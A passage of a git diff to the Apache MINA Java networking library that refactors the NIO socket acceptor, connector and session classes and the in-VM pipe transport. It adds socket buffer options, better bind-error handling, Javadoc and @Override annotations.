reuseAddress; + if ((key == null) || (!key.isValid()) || (!key.isAcceptable())) { + return null; } - } - /** - * {@inheritDoc} - */ - public int getBacklog() { - return backlog; - } + // accept the connection from the client + try { + SocketChannel ch = handle.accept(); + + if (ch == null) { + return null; + } - /** - * {@inheritDoc} - */ - public void setBacklog(int backlog) { - synchronized (bindLock) { - if (isActive()) { - throw new IllegalStateException( - "backlog can't be set while the acceptor is bound."); + return new NioSocketSession(this, processor, ch); + } catch (Throwable t) { + if(t.getMessage().equals("Too many open files")) { + LOGGER.error("Error Calling Accept on Socket - Sleeping Acceptor Thread. Check the ulimit parameter", t); + try { + // Sleep 50 ms, so that the select does not spin like crazy doing nothing but eating CPU + // This is typically what will happen if we don't have any more File handle on the server + // Check the ulimit parameter + // NOTE : this is a workaround, there is no way we can handle this exception in any smarter way... + Thread.sleep(50L); + } catch (InterruptedException ie) { + // Nothing to do + } + } else { + throw t; } - this.backlog = backlog; + // No session when we have met an exception + return null; } } @@ -204,49 +255,60 @@ public void setBacklog(int backlog) { * {@inheritDoc} */ @Override - protected NioSession accept(IoProcessor processor, - ServerSocketChannel handle) throws Exception { + protected ServerSocketChannel open(SocketAddress localAddress) throws Exception { + // Creates the listening ServerSocket - SelectionKey key = handle.keyFor(selector); - - if ((key == null) || (!key.isValid()) || (!key.isAcceptable()) ) { - return null; - } + SocketSessionConfig config = this.getSessionConfig(); + + ServerSocketChannel channel = null; - // accept the connection from the client - SocketChannel ch = handle.accept(); - - if (ch == null) { - return null; + if (selectorProvider != null) { + channel = selectorProvider.openServerSocketChannel(); + } else { + channel = ServerSocketChannel.open(); } - return new NioSocketSession(this, processor, ch); - } - - /** - * {@inheritDoc} - */ - @Override - protected ServerSocketChannel open(SocketAddress localAddress) - throws Exception { - // Creates the listening ServerSocket - ServerSocketChannel channel = ServerSocketChannel.open(); - boolean success = false; - + try { // This is a non blocking socket channel channel.configureBlocking(false); - + // Configure the server socket, ServerSocket socket = channel.socket(); - + // Set the reuseAddress flag accordingly with the setting socket.setReuseAddress(isReuseAddress()); + // Set the SND BUFF + if (config.getSendBufferSize() != -1 && channel.supportedOptions().contains(StandardSocketOptions.SO_SNDBUF)) { + channel.setOption(StandardSocketOptions.SO_SNDBUF, config.getSendBufferSize()); + } + + // Set the RCV BUFF + if (config.getReceiveBufferSize() != -1 && channel.supportedOptions().contains(StandardSocketOptions.SO_RCVBUF)) { + channel.setOption(StandardSocketOptions.SO_RCVBUF, config.getReceiveBufferSize()); + } + // and bind. - socket.bind(localAddress, getBacklog()); - + try { + socket.bind(localAddress, getBacklog()); + } catch (IOException ioe) { + // Add some info regarding the address we try to bind to the + // message + String newMessage = "Error while binding on " + localAddress; + Exception e = new IOException(newMessage, ioe); + + try { + // And close the channel + channel.close(); + } catch (IOException nested) { + e.addSuppressed(nested); + } + + throw e; + } + // Register the channel within the selector for ACCEPT event channel.register(selector, SelectionKey.OP_ACCEPT); success = true; @@ -262,24 +324,22 @@ protected ServerSocketChannel open(SocketAddress localAddress) * {@inheritDoc} */ @Override - protected SocketAddress localAddress(ServerSocketChannel handle) - throws Exception { + protected SocketAddress localAddress(ServerSocketChannel handle) throws Exception { return handle.socket().getLocalSocketAddress(); } /** - * Check if we have at least one key whose corresponding channels is - * ready for I/O operations. - * - * This method performs a blocking selection operation. - * It returns only after at least one channel is selected, - * this selector's wakeup method is invoked, or the current thread - * is interrupted, whichever comes first. - * - * @return The number of keys having their ready-operation set updated - * @throws IOException If an I/O error occurs - * @throws ClosedSelectorException If this selector is closed - */ + * Check if we have at least one key whose corresponding channels is + * ready for I/O operations. + * + * This method performs a blocking selection operation. + * It returns only after at least one channel is selected, + * this selector's wakeup method is invoked, or the current thread + * is interrupted, whichever comes first. + * + * @return The number of keys having their ready-operation set updated + * @throws IOException If an I/O error occurs + */ @Override protected int select() throws Exception { return selector.select(); @@ -299,11 +359,11 @@ protected Iterator selectedHandles() { @Override protected void close(ServerSocketChannel handle) throws Exception { SelectionKey key = handle.keyFor(selector); - + if (key != null) { key.cancel(); } - + handle.close(); } @@ -316,7 +376,7 @@ protected void wakeup() { } /** - * Defines an iterator for the selected-key Set returned by the + * Defines an iterator for the selected-key Set returned by the * selector.selectedKeys(). It replaces the SelectionKey operator. */ private static class ServerSocketChannelIterator implements Iterator { @@ -327,7 +387,7 @@ private static class ServerSocketChannelIterator implements Iterator selectedKeys) { iterator = selectedKeys.iterator(); @@ -335,9 +395,10 @@ private ServerSocketChannelIterator(Collection selectedKeys) { /** * Tells if there are more SockectChannel left in the iterator - * @return true if there is at least one more + * @return true if there is at least one more * SockectChannel object to read */ + @Override public boolean hasNext() { return iterator.hasNext(); } @@ -348,10 +409,11 @@ public boolean hasNext() { * * @return The next SocketChannel in the iterator */ + @Override public ServerSocketChannel next() { SelectionKey key = iterator.next(); - - if ( key.isValid() && key.isAcceptable() ) { + + if (key.isValid() && key.isAcceptable()) { return (ServerSocketChannel) key.channel(); } @@ -359,8 +421,9 @@ public ServerSocketChannel next() { } /** - * Remove the current SocketChannel from the iterator + * Remove the current SocketChannel from the iterator */ + @Override public void remove() { iterator.remove(); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketConnector.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketConnector.java index 8b3974f6ed..429f5acffe 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketConnector.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketConnector.java @@ -19,6 +19,7 @@ */ package org.apache.mina.transport.socket.nio; +import java.io.IOException; import java.net.InetSocketAddress; import java.net.SocketAddress; import java.nio.channels.SelectionKey; @@ -31,6 +32,7 @@ import org.apache.mina.core.polling.AbstractPollingIoConnector; import org.apache.mina.core.service.IoConnector; import org.apache.mina.core.service.IoProcessor; +import org.apache.mina.core.service.IoService; import org.apache.mina.core.service.SimpleIoProcessorPool; import org.apache.mina.core.service.TransportMetadata; import org.apache.mina.transport.socket.DefaultSocketSessionConfig; @@ -42,9 +44,8 @@ * * @author Apache MINA Project */ -public final class NioSocketConnector - extends AbstractPollingIoConnector - implements SocketConnector { +public final class NioSocketConnector extends AbstractPollingIoConnector implements +SocketConnector { private volatile Selector selector; @@ -57,10 +58,10 @@ public NioSocketConnector() { } /** - * Constructor for {@link NioSocketConnector} with default configuration, and + * Constructor for {@link NioSocketConnector} with default configuration, and * given number of {@link NioProcessor} for multithreading I/O operations * @param processorCount the number of processor to create and place in a - * {@link SimpleIoProcessorPool} + * {@link SimpleIoProcessorPool} */ public NioSocketConnector(int processorCount) { super(new DefaultSocketSessionConfig(), NioProcessor.class, processorCount); @@ -79,8 +80,8 @@ public NioSocketConnector(IoProcessor processor) { } /** - * Constructor for {@link NioSocketConnector} with a given {@link Executor} for handling - * connection events and a given {@link IoProcessor} for handling I/O events, useful for sharing + * Constructor for {@link NioSocketConnector} with a given {@link Executor} for handling + * connection events and a given {@link IoProcessor} for handling I/O events, useful for sharing * the same processor and executor over multiple {@link IoService} of the same type. * @param executor the executor for connection * @param processor the processor for I/O operations @@ -89,33 +90,31 @@ public NioSocketConnector(Executor executor, IoProcessor processor) super(new DefaultSocketSessionConfig(), executor, processor); ((DefaultSocketSessionConfig) getSessionConfig()).init(this); } - + /** - * Constructor for {@link NioSocketConnector} with default configuration which will use a built-in - * thread pool executor to manage the given number of processor instances. The processor class must have - * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a + * Constructor for {@link NioSocketConnector} with default configuration which will use a built-in + * thread pool executor to manage the given number of processor instances. The processor class must have + * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a * no-arg constructor. * * @param processorClass the processor class. * @param processorCount the number of processors to instantiate. - * @see org.apache.mina.core.service.SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int) + * @see SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int, java.nio.channels.spi.SelectorProvider) * @since 2.0.0-M4 */ - public NioSocketConnector(Class> processorClass, - int processorCount) { + public NioSocketConnector(Class> processorClass, int processorCount) { super(new DefaultSocketSessionConfig(), processorClass, processorCount); } /** - * Constructor for {@link NioSocketConnector} with default configuration with default configuration which will use a built-in - * thread pool executor to manage the default number of processor instances. The processor class must have - * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a - * no-arg constructor. The default number of instances is equal to the number of processor cores + * Constructor for {@link NioSocketConnector} with default configuration with default configuration which will use a built-in + * thread pool executor to manage the default number of processor instances. The processor class must have + * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a + * no-arg constructor. The default number of instances is equal to the number of processor cores * in the system, plus one. * * @param processorClass the processor class. - * @see org.apache.mina.core.service.SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int) - * @see org.apache.mina.core.service.SimpleIoProcessorPool#DEFAULT_SIZE + * @see SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int, java.nio.channels.spi.SelectorProvider) * @since 2.0.0-M4 */ public NioSocketConnector(Class> processorClass) { @@ -143,6 +142,7 @@ protected void destroy() throws Exception { /** * {@inheritDoc} */ + @Override public TransportMetadata getTransportMetadata() { return NioSocketSession.METADATA; } @@ -152,9 +152,9 @@ public TransportMetadata getTransportMetadata() { */ @Override public SocketSessionConfig getSessionConfig() { - return (SocketSessionConfig) super.getSessionConfig(); + return (SocketSessionConfig) sessionConfig; } - + /** * {@inheritDoc} */ @@ -162,10 +162,11 @@ public SocketSessionConfig getSessionConfig() { public InetSocketAddress getDefaultRemoteAddress() { return (InetSocketAddress) super.getDefaultRemoteAddress(); } - + /** * {@inheritDoc} */ + @Override public void setDefaultRemoteAddress(InetSocketAddress defaultRemoteAddress) { super.setDefaultRemoteAddress(defaultRemoteAddress); } @@ -182,8 +183,7 @@ protected Iterator allHandles() { * {@inheritDoc} */ @Override - protected boolean connect(SocketChannel handle, SocketAddress remoteAddress) - throws Exception { + protected boolean connect(SocketChannel handle, SocketAddress remoteAddress) throws Exception { return handle.connect(remoteAddress); } @@ -193,8 +193,8 @@ protected boolean connect(SocketChannel handle, SocketAddress remoteAddress) @Override protected ConnectionRequest getConnectionRequest(SocketChannel handle) { SelectionKey key = handle.keyFor(selector); - - if ((key == null) || (!key.isValid())) { + + if ((key == null) || (!key.isValid())) { return null; } @@ -207,11 +207,11 @@ protected ConnectionRequest getConnectionRequest(SocketChannel handle) { @Override protected void close(SocketChannel handle) throws Exception { SelectionKey key = handle.keyFor(selector); - + if (key != null) { key.cancel(); } - + handle.close(); } @@ -226,7 +226,7 @@ protected boolean finishConnect(SocketChannel handle) throws Exception { if (key != null) { key.cancel(); } - + return true; } @@ -237,20 +237,34 @@ protected boolean finishConnect(SocketChannel handle) throws Exception { * {@inheritDoc} */ @Override - protected SocketChannel newHandle(SocketAddress localAddress) - throws Exception { + protected SocketChannel newHandle(SocketAddress localAddress) throws Exception { SocketChannel ch = SocketChannel.open(); - int receiveBufferSize = - (getSessionConfig()).getReceiveBufferSize(); - if (receiveBufferSize > 65535) { + int receiveBufferSize = (getSessionConfig()).getReceiveBufferSize(); + + if (receiveBufferSize > 0) { ch.socket().setReceiveBufferSize(receiveBufferSize); } if (localAddress != null) { - ch.socket().bind(localAddress); + try { + ch.socket().bind(localAddress); + } catch (IOException ioe) { + // Add some info regarding the address we try to bind to the + // message + String newMessage = "Error while binding on " + localAddress + "\n" + "original message : " + + ioe.getMessage(); + Exception e = new IOException(newMessage); + e.initCause(ioe.getCause()); + + // Preemptively close the channel + ch.close(); + throw e; + } } + ch.configureBlocking(false); + return ch; } @@ -266,8 +280,7 @@ protected NioSession newSession(IoProcessor processor, SocketChannel * {@inheritDoc} */ @Override - protected void register(SocketChannel handle, ConnectionRequest request) - throws Exception { + protected void register(SocketChannel handle, ConnectionRequest request) throws Exception { handle.register(selector, SelectionKey.OP_CONNECT, request); } @@ -306,6 +319,7 @@ private SocketChannelIterator(Collection selectedKeys) { /** * {@inheritDoc} */ + @Override public boolean hasNext() { return i.hasNext(); } @@ -313,6 +327,7 @@ public boolean hasNext() { /** * {@inheritDoc} */ + @Override public SocketChannel next() { SelectionKey key = i.next(); return (SocketChannel) key.channel(); @@ -321,6 +336,7 @@ public SocketChannel next() { /** * {@inheritDoc} */ + @Override public void remove() { i.remove(); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketSession.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketSession.java index f4c88e0d04..82f7ea606a 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketSession.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketSession.java @@ -22,20 +22,17 @@ import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketException; -import java.nio.channels.SelectionKey; import java.nio.channels.SocketChannel; import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.file.FileRegion; -import org.apache.mina.core.filterchain.DefaultIoFilterChain; -import org.apache.mina.core.filterchain.IoFilterChain; import org.apache.mina.core.service.DefaultTransportMetadata; -import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.service.IoService; import org.apache.mina.core.service.TransportMetadata; import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.ssl.SslFilter; import org.apache.mina.transport.socket.AbstractSocketSessionConfig; import org.apache.mina.transport.socket.SocketSessionConfig; @@ -45,109 +42,84 @@ * @author Apache MINA Project */ class NioSocketSession extends NioSession { + static final TransportMetadata METADATA = new DefaultTransportMetadata("nio", "socket", false, true, + InetSocketAddress.class, SocketSessionConfig.class, IoBuffer.class, FileRegion.class); - static final TransportMetadata METADATA = - new DefaultTransportMetadata( - "nio", "socket", false, true, - InetSocketAddress.class, - SocketSessionConfig.class, - IoBuffer.class, FileRegion.class); - - private final IoService service; - - private final SocketSessionConfig config = new SessionConfigImpl(); - - private final IoFilterChain filterChain = new DefaultIoFilterChain(this); - - private final SocketChannel ch; - - private final IoHandler handler; - - private SelectionKey key; - - /** * * Creates a new instance of NioSocketSession. * - * @param service the associated IoService + * @param service the associated IoService * @param processor the associated IoProcessor - * @param ch the used channel + * @param channel the used channel */ - public NioSocketSession(IoService service, IoProcessor processor, SocketChannel ch) { - super(processor); - this.service = service; - this.ch = ch; - this.handler = service.getHandler(); - this.config.setAll(service.getSessionConfig()); - } - - public IoService getService() { - return service; - } - - public SocketSessionConfig getConfig() { - return config; + public NioSocketSession(IoService service, IoProcessor processor, SocketChannel channel) { + super(processor, service, channel); + config = new SessionConfigImpl(); + config.setAll(service.getSessionConfig()); } - public IoFilterChain getFilterChain() { - return filterChain; + private Socket getSocket() { + return ((SocketChannel) channel).socket(); } + /** + * {@inheritDoc} + */ + @Override public TransportMetadata getTransportMetadata() { return METADATA; } + /** + * {@inheritDoc} + */ @Override - SocketChannel getChannel() { - return ch; - } - - @Override - SelectionKey getSelectionKey() { - return key; + public SocketSessionConfig getConfig() { + return (SocketSessionConfig) config; } + /** + * {@inheritDoc} + */ @Override - void setSelectionKey(SelectionKey key) { - this.key = key; - } - - public IoHandler getHandler() { - return handler; + public SocketChannel getChannel() { + return (SocketChannel) channel; } /** * {@inheritDoc} */ + @Override public InetSocketAddress getRemoteAddress() { - if ( ch == null ) { + if (channel == null) { return null; } - - Socket socket = ch.socket(); - - if ( socket == null ) { + + Socket socket = getSocket(); + + if (socket == null) { return null; } - + return (InetSocketAddress) socket.getRemoteSocketAddress(); } /** * {@inheritDoc} */ + @Override public InetSocketAddress getLocalAddress() { - if ( ch == null ) { + if (channel == null) { return null; } - - Socket socket = ch.socket(); - - if ( socket == null ) { + + Socket socket = getSocket(); + + if (socket == null) { return null; } - + return (InetSocketAddress) socket.getLocalSocketAddress(); } @@ -156,90 +128,135 @@ public InetSocketAddress getServiceAddress() { return (InetSocketAddress) super.getServiceAddress(); } + /** + * A private class storing a copy of the IoService configuration when the + * IoSession is created. That allows the session to have its own configuration + * setting, over the IoService default one. + */ private class SessionConfigImpl extends AbstractSocketSessionConfig { + /** + * {@inheritDoc} + */ + @Override public boolean isKeepAlive() { try { - return ch.socket().getKeepAlive(); + return getSocket().getKeepAlive(); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public void setKeepAlive(boolean on) { try { - ch.socket().setKeepAlive(on); + getSocket().setKeepAlive(on); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public boolean isOobInline() { try { - return ch.socket().getOOBInline(); + return getSocket().getOOBInline(); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public void setOobInline(boolean on) { try { - ch.socket().setOOBInline(on); + getSocket().setOOBInline(on); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public boolean isReuseAddress() { try { - return ch.socket().getReuseAddress(); + return getSocket().getReuseAddress(); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public void setReuseAddress(boolean on) { try { - ch.socket().setReuseAddress(on); + getSocket().setReuseAddress(on); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public int getSoLinger() { try { - return ch.socket().getSoLinger(); + return getSocket().getSoLinger(); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public void setSoLinger(int linger) { try { if (linger < 0) { - ch.socket().setSoLinger(false, 0); + getSocket().setSoLinger(false, 0); } else { - ch.socket().setSoLinger(true, linger); + getSocket().setSoLinger(true, linger); } } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public boolean isTcpNoDelay() { if (!isConnected()) { return false; } try { - return ch.socket().getTcpNoDelay(); + return getSocket().getTcpNoDelay(); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public void setTcpNoDelay(boolean on) { try { - ch.socket().setTcpNoDelay(on); + getSocket().setTcpNoDelay(on); } catch (SocketException e) { throw new RuntimeIoException(e); } @@ -248,9 +265,10 @@ public void setTcpNoDelay(boolean on) { /** * {@inheritDoc} */ + @Override public int getTrafficClass() { try { - return ch.socket().getTrafficClass(); + return getSocket().getTrafficClass(); } catch (SocketException e) { throw new RuntimeIoException(e); } @@ -259,44 +277,69 @@ public int getTrafficClass() { /** * {@inheritDoc} */ + @Override public void setTrafficClass(int tc) { try { - ch.socket().setTrafficClass(tc); + getSocket().setTrafficClass(tc); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public int getSendBufferSize() { try { - return ch.socket().getSendBufferSize(); + return getSocket().getSendBufferSize(); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public void setSendBufferSize(int size) { try { - ch.socket().setSendBufferSize(size); + getSocket().setSendBufferSize(size); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public int getReceiveBufferSize() { try { - return ch.socket().getReceiveBufferSize(); + return getSocket().getReceiveBufferSize(); } catch (SocketException e) { throw new RuntimeIoException(e); } } + /** + * {@inheritDoc} + */ + @Override public void setReceiveBufferSize(int size) { try { - ch.socket().setReceiveBufferSize(size); + getSocket().setReceiveBufferSize(size); } catch (SocketException e) { throw new RuntimeIoException(e); } } } + + /** + * {@inheritDoc} + */ + @Override + public final boolean isSecured() { + return (this.getAttribute(SslFilter.SSL_SECURED) != null); + } } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/package-info.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/package-info.java new file mode 100644 index 0000000000..fc1d210f37 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/package-info.java @@ -0,0 +1,31 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Socket (TCP/IP) and Datagram (UDP/IP) support based on Java NIO (New I/O) API. + * + *

    Configuring the number of NIO selector loops

    + * + * You can specify the number of Socket I/O thread to utilize multi-processors efficiently by + * specifying the number of processing threads in the constructor. The default is 1 + * + * @author Apache MINA Project + */ +package org.apache.mina.transport.socket.nio; diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/package.html b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/package.html deleted file mode 100644 index e483eb4721..0000000000 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/package.html +++ /dev/null @@ -1,32 +0,0 @@ - - - - - - -Socket (TCP/IP) and Datagram (UDP/IP) support based on Java -NIO (New I/O) API. - -

    Configuring the number of NIO selector loops

    -

    -You can specify the number of Socket I/O thread to utilize multi-processors -efficiently by specifying the number of processing threads in the constructor. The default is 1 -

    - - - diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/DefaultVmPipeSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/DefaultVmPipeSessionConfig.java index d7438d67ba..3e06124b94 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/DefaultVmPipeSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/DefaultVmPipeSessionConfig.java @@ -20,21 +20,14 @@ package org.apache.mina.transport.vmpipe; import org.apache.mina.core.session.AbstractIoSessionConfig; -import org.apache.mina.core.session.IoSessionConfig; /** * A default implementation of {@link VmPipeSessionConfig}. * * @author Apache MINA Project */ -class DefaultVmPipeSessionConfig extends AbstractIoSessionConfig implements - VmPipeSessionConfig { +class DefaultVmPipeSessionConfig extends AbstractIoSessionConfig implements VmPipeSessionConfig { DefaultVmPipeSessionConfig() { // Do nothing } - - @Override - protected void doSetAll(IoSessionConfig config) { - // Do nothing - } } diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipe.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipe.java index 2ffa7d6cd0..71d218c6d0 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipe.java +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipe.java @@ -36,8 +36,7 @@ class VmPipe { private final IoServiceListenerSupport listeners; - VmPipe(VmPipeAcceptor acceptor, VmPipeAddress address, - IoHandler handler, IoServiceListenerSupport listeners) { + VmPipe(VmPipeAcceptor acceptor, VmPipeAddress address, IoHandler handler, IoServiceListenerSupport listeners) { this.acceptor = acceptor; this.address = address; this.handler = handler; diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAcceptor.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAcceptor.java index 04d51fe108..1ac704b15b 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAcceptor.java @@ -42,11 +42,11 @@ * @author Apache MINA Project */ public final class VmPipeAcceptor extends AbstractIoAcceptor { - + // object used for checking session idle private IdleStatusChecker idleChecker; - - static final Map boundHandlers = new HashMap(); + + static final Map boundHandlers = new HashMap<>(); /** * Creates a new instance. @@ -54,9 +54,11 @@ public final class VmPipeAcceptor extends AbstractIoAcceptor { public VmPipeAcceptor() { this(null); } - + /** * Creates a new instance. + * + * @param executor The executor to use */ public VmPipeAcceptor(Executor executor) { super(new DefaultVmPipeSessionConfig(), executor); @@ -66,20 +68,31 @@ public VmPipeAcceptor(Executor executor) { executeWorker(idleChecker.getNotifyingTask(), "idleStatusChecker"); } + /** + * {@inheritDoc} + */ public TransportMetadata getTransportMetadata() { return VmPipeSession.METADATA; } - @Override + /** + * {@inheritDoc} + */ public VmPipeSessionConfig getSessionConfig() { - return (VmPipeSessionConfig) super.getSessionConfig(); + return (VmPipeSessionConfig) sessionConfig; } + /** + * {@inheritDoc} + */ @Override public VmPipeAddress getLocalAddress() { return (VmPipeAddress) super.getLocalAddress(); } + /** + * {@inheritDoc} + */ @Override public VmPipeAddress getDefaultLocalAddress() { return (VmPipeAddress) super.getDefaultLocalAddress(); @@ -87,11 +100,18 @@ public VmPipeAddress getDefaultLocalAddress() { // This method is overriden to work around a problem with // bean property access mechanism. - + /** + * Sets the local Address for this acceptor + * + * @param localAddress The local address to use + */ public void setDefaultLocalAddress(VmPipeAddress localAddress) { super.setDefaultLocalAddress(localAddress); } + /** + * {@inheritDoc} + */ @Override protected void dispose0() throws Exception { // stop the idle checking task @@ -99,24 +119,26 @@ protected void dispose0() throws Exception { unbind(); } + /** + * {@inheritDoc} + */ @Override protected Set bindInternal(List localAddresses) throws IOException { - Set newLocalAddresses = new HashSet(); + Set newLocalAddresses = new HashSet<>(); synchronized (boundHandlers) { - for (SocketAddress a: localAddresses) { + for (SocketAddress a : localAddresses) { VmPipeAddress localAddress = (VmPipeAddress) a; if (localAddress == null || localAddress.getPort() == 0) { localAddress = null; for (int i = 10000; i < Integer.MAX_VALUE; i++) { VmPipeAddress newLocalAddress = new VmPipeAddress(i); - if (!boundHandlers.containsKey(newLocalAddress) && - !newLocalAddresses.contains(newLocalAddress)) { + if (!boundHandlers.containsKey(newLocalAddress) && !newLocalAddresses.contains(newLocalAddress)) { localAddress = newLocalAddress; break; } } - + if (localAddress == null) { throw new IOException("No port available."); } @@ -125,17 +147,16 @@ protected Set bindInternal(List localAdd } else if (boundHandlers.containsKey(localAddress)) { throw new IOException("Address already bound: " + localAddress); } - + newLocalAddresses.add(localAddress); } - for (SocketAddress a: newLocalAddresses) { + for (SocketAddress a : newLocalAddresses) { VmPipeAddress localAddress = (VmPipeAddress) a; if (!boundHandlers.containsKey(localAddress)) { - boundHandlers.put(localAddress, new VmPipe(this, localAddress, - getHandler(), getListeners())); + boundHandlers.put(localAddress, new VmPipe(this, localAddress, getHandler(), getListeners())); } else { - for (SocketAddress a2: newLocalAddresses) { + for (SocketAddress a2 : newLocalAddresses) { boundHandlers.remove(a2); } throw new IOException("Duplicate local address: " + a); @@ -149,12 +170,15 @@ protected Set bindInternal(List localAdd @Override protected void unbind0(List localAddresses) { synchronized (boundHandlers) { - for (SocketAddress a: localAddresses) { + for (SocketAddress a : localAddresses) { boundHandlers.remove(a); } } } + /** + * {@inheritDoc} + */ public IoSession newSession(SocketAddress remoteAddress, SocketAddress localAddress) { throw new UnsupportedOperationException(); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAddress.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAddress.java index 34e3930b17..5d42e1b943 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAddress.java +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeAddress.java @@ -33,31 +33,37 @@ public class VmPipeAddress extends SocketAddress implements Comparable= 0) { return "vm:server:" + port; } - + return "vm:client:" + -port; } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeConnector.java b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeConnector.java index 129d123315..fe14152e69 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeConnector.java +++ b/mina-core/src/main/java/org/apache/mina/transport/vmpipe/VmPipeConnector.java @@ -47,16 +47,18 @@ public final class VmPipeConnector extends AbstractIoConnector { // object used for checking session idle private IdleStatusChecker idleChecker; - + /** * Creates a new instance. */ public VmPipeConnector() { this(null); } - + /** * Creates a new instance. + * + * @param executor The executor to use */ public VmPipeConnector(Executor executor) { super(new DefaultVmPipeSessionConfig(), executor); @@ -66,23 +68,29 @@ public VmPipeConnector(Executor executor) { executeWorker(idleChecker.getNotifyingTask(), "idleStatusChecker"); } + /** + * {@inheritDoc} + */ public TransportMetadata getTransportMetadata() { return VmPipeSession.METADATA; } - @Override + /** + * {@inheritDoc} + */ public VmPipeSessionConfig getSessionConfig() { - return (VmPipeSessionConfig) super.getSessionConfig(); + return (VmPipeSessionConfig) sessionConfig; } + /** + * {@inheritDoc} + */ @Override - protected ConnectFuture connect0(SocketAddress remoteAddress, - SocketAddress localAddress, - IoSessionInitializer sessionInitializer) { + protected ConnectFuture connect0(SocketAddress remoteAddress, SocketAddress localAddress, + IoSessionInitializer sessionInitializer) { VmPipe entry = VmPipeAcceptor.boundHandlers.get(remoteAddress); if (entry == null) { - return DefaultConnectFuture.newFailedFuture(new IOException( - "Endpoint unavailable: " + remoteAddress)); + return DefaultConnectFuture.newFailedFuture(new IOException("Endpoint unavailable: " + remoteAddress)); } DefaultConnectFuture future = new DefaultConnectFuture(); @@ -95,8 +103,7 @@ protected ConnectFuture connect0(SocketAddress remoteAddress, return DefaultConnectFuture.newFailedFuture(e); } - VmPipeSession localSession = new VmPipeSession(this, - getListeners(), actualLocalAddress, getHandler(), entry); + VmPipeSession localSession = new VmPipeSession(this, getListeners(), actualLocalAddress, getHandler(), entry); initSession(localSession, future, sessionInitializer); @@ -111,8 +118,8 @@ protected ConnectFuture connect0(SocketAddress remoteAddress, // The following sentences don't throw any exceptions. getListeners().fireSessionCreated(localSession); idleChecker.addSession(localSession); - } catch (Throwable t) { - future.setException(t); + } catch (Exception e) { + future.setException(e); return future; } @@ -121,15 +128,14 @@ protected 